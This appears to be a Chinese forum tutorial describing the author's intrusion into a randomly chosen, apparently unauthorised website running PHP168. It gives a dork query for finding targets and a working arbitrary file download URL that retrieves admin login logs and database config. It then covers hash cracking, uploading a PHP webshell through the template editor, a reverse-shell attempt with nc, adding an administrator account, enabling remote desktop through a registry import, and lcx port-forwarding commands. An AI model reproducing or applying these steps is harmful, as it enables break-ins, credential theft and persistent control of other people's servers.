本人菜鸟一个,从来没有搞过PHP的,每次遇到PHP网站便鸣金收兵(真切的感受到没有技术的悲哀)。最近听说PHP168爆出了任意文件下载漏洞,于是我便萌生了研究的想法(总是躲着也不是办法呀)。到网上搜了资料看了半天,结果还是一头雾水,最后请教了一下我的好哥们儿“Dream an end”,听完他的讲解我才如梦初醒,令我吃惊的是这样的漏洞严重到不可饶恕,我随便找了一个网站测试了一下,竟然意外的拿下了该服务器的3389权限。
1.PHP168任意文件下载漏洞原理
这里说明一下,这个漏洞出现在网站根目录下的job.php文件,这个文件原本是提供下载文件附件功能的,可是在对参数进行处理时出现了问题,这就导致我们可以下载网站目录下的所有文件,而且在/cache/adminlogin_logs.php文件里保存着网站管理员的登陆日志,管理员的账号和密码也都会记录在里面,我们可以利用PHP168的这个漏洞直接将/cache/adminlogin_logs.php这个文件下载到本地。
2.使用simplegoog工具搜索使用PHP168系统的网站 闲话少说,大家看我操作。首先要搜一下使用php168系统的网站,直接用Google,百度又慢又累人,这里我介绍大家一款叫做simplegoogl的工具(http://www.antian365.com/bbs/forumdisplay.php?fid=180),直接在搜索框输入“powered by PHP168 inurl:job.php”点搜索,如图1所示。
|
图1使用simplegoog工具搜索结果 |
3.使用转换工具进行Base64地址转换
在simplegoog工具右边出来一大批链接网址,可以根据需要选择去除重复和保存URL的功能。随便点了一个网站,直接访问漏洞文件http://xxxx/job.php,结果返回一片空白,这说明漏洞文件是存在的。由于job.php文件的url=后面接收的参数需要经过base64加密,所以我们用工具转换一下,转换结果如图2所示。
|
图2使用转换工具转换base64地址 |
4.下载任意php文件
我们把这段密文当作参数传递给job.php文件,在地址栏里输入http://xxxx/job.php?job=download&url=aHR0cDovL3h4eHgvL2NhY2hlL2FkbWlubG9naW5fbG9ncy5waHA=,直接弹出文件下载提示,如图3所示。
|
图3下载adminlogin_logs.php文件 |
5.使用记事本编辑adminlogin_logs.php文件
将adminlogin_logs.php文件保存到桌面,然后用记事本打开,就能得到很多管理员登陆信息。如图4所示。
|
图4获取管理员登录密码md5值 |
6.破解管理员的md5密码值和登录网站后台
把上图的密码散列拿到md5网站上跑一下,运气好的话就可以登陆后台了。PHP168的后台路径默认在admin目录里,我们访问http://xxxx/admin/,输入用户名密码以后轻松的进入后台管理页面。如图5所示。现在很多使用PHP168的网站都存在这个下载文件的漏洞。
|
图5登录网站后台 |
7.获取网站系统的Webshell
接下来就要想办法拿Webshell啦,我粗略的看了一下后台,发现PHP168后台的功能还是比较强大的,同时也预示着我们拿下Webshell的可能性增加了。
我尝试着在添加文章里上传PHP木马,结果很自然地提示文件格式错误,我又试着上传asp,asa文件,结果依然是文件格式错误,不过我在网站核心设置里找到一个添加会员上传文件类型的功能,直接添加php类型,然后到前台注册一个会员,然后上传PHP木马。结果还是提示格式错误,看来上传PHP木马这条路是行不通的。
继续查看后台的其他功能,选择独立页面管理,里面竟然有增加页面选项(貌似一个Webshell的突破口),点击进入,在内容处写入我们的PHP木马,网页名称我们填写123.php然后提交。结果让我喜出望外,竟然提示创建成功,我迫不及待的打开该网页,令我郁闷的是文本原样输出。如图6所示。
|
图6 获取Webshell失败 |
正在我感到无奈的时候,我突然发现后台还有模板设置的功能,直接添加模板,然后点击修改模板,模板名称改成templa.php,内容填入我们的PHP木马。如图7所示。
|
图7通过模板来获得突破 |
然后提交。这里记下模板的路径,然后访问http://xxxx/template/default/templa.php文件成功访问,输入密码后,熟悉的界面再一次跳入眼帘。如图8所示。Webshell至此已经完全拿下。
|
图8 获得真正的webshell |
8.尝试提升系统权限
对于我来说并不满足于上面的成果,能够拿到网站最高权限才是王道,用Webshell的目录浏览功能跳了下C盘目录,结果成功跳转,不过没什么发现。查看一下D盘,目录成功读出,在D盘我看到了Serv-U目录。如图9所示。
|
图9获取系统Serv-U路径等信息 |
我尝试着利用Serv-U添加一个密码用户名都为heart的用户。如图10所示。
|
图10使用Serv-U直接添加用户 |
9.使用udf提升系统权限
然而结果是命令一直没有完成。我想用系统命令查看一下用户是否加上,却发现命令仍然无法执行(我当时还以为Serv-U密码改了呢)。于是我便换了一条思路,开始用udf提权。首先用nc在本地本地监听5438端口,由于我是内网的,所以还要做一下端口映射。然后用Webshell自带的功能反弹 Shell。如图11所示。
|
图11利用udf提升权限 |
返回端口填nc监听的端口,IP用本地IP,这里最重要的是数据库密码,PHP168的数据库密码放在/php168 /mysql_config.php文件里,还是利用任意文件下载漏洞将其下载到本地执行。令我失望的是,在我重复了n遍以后命令还是无法执行,我想应该是我放弃的时候了,毕竟PHP提权本来我就不在行。
10.直接上传PHP大马
不过一直在我身后支持我的哥们儿——“孤水绕城”提醒我换一个大马试一试,并顺手把他经常用的angle写的PHP木马给了我,把新的木马传上去以后,系统命令依然无法执行,反弹Shell也不成功,不过我发现这个木马在执行系统命令时多了一个选项。如图12所示。
|
图12新木马中的好东东 |
在这里我选择用wscript试一下,执行命令net user,竟然成功了。如图13所示。
|
图13使用新功能添加用户成功 |
11.查看系统开放端口和打开3389远程终端
没想到这个英文的木马这么好用,而且我还发现系统里竟然有一个heart用户,应该是我刚才用Serv-U加进去的,只是没有返回罢了。我又看了一下系统开放的端口,端口开的挺多只是没有3389。如图14所示。
|
图14查看网络端口开放情况 |
我传了几个开3389的程序上去,结果都难逃被杀的命运。最后我找到一个同样功能的注册表文件3389.reg,上传到服务器C:\WINDOWS \Temp目录(这个目录IUSER权限的用户可读写),用PHP的wscript后执行“reg import C:\WINDOWS\Temp\3389.reg”试了下,3389成功开放如图15所示。
|
图15开放3389端口 |
难道现在大马已经是系统权限的了,赶紧用IISPutScanner扫了下该网站。原来是Apache搭建的PHP环境,大家都知道Windows 2003+Apache+PHP如果以“LocalSystem”启动的话默认的PHP就具有最高权限。这下不用Serv-U来执行命令了。
执行“net localgroup admininstrators heart /add”命令把heart用户添加到Administrators组里面,进行远程桌面连接。
12.使用端口转发程序成功进入该服务器
本来以为本次入侵已经告一段落了,可是在我等了很长时间以后,竟然提示连接失败。根据以往的入侵经验,八成是被防火墙拦下了。看来只能进行端口转发了,找一个免杀的lcx传上去,本地执行“lcx –listen 110 1987”命令,服务器上执行“lcx –slave 本地ip 110 服务器ip 3389命令”然后用远程桌面连接本机的1987端口,顺利的进入远程桌面。如图16所示。
|
图16.成功连入服务器 |
最后总结下,本文只是作为一个菜鸟的学习心得,希望大家能够多关注网络安全,多关注antian365——这个默默无闻为网络安全洒下辛劳与汗水的团队。
|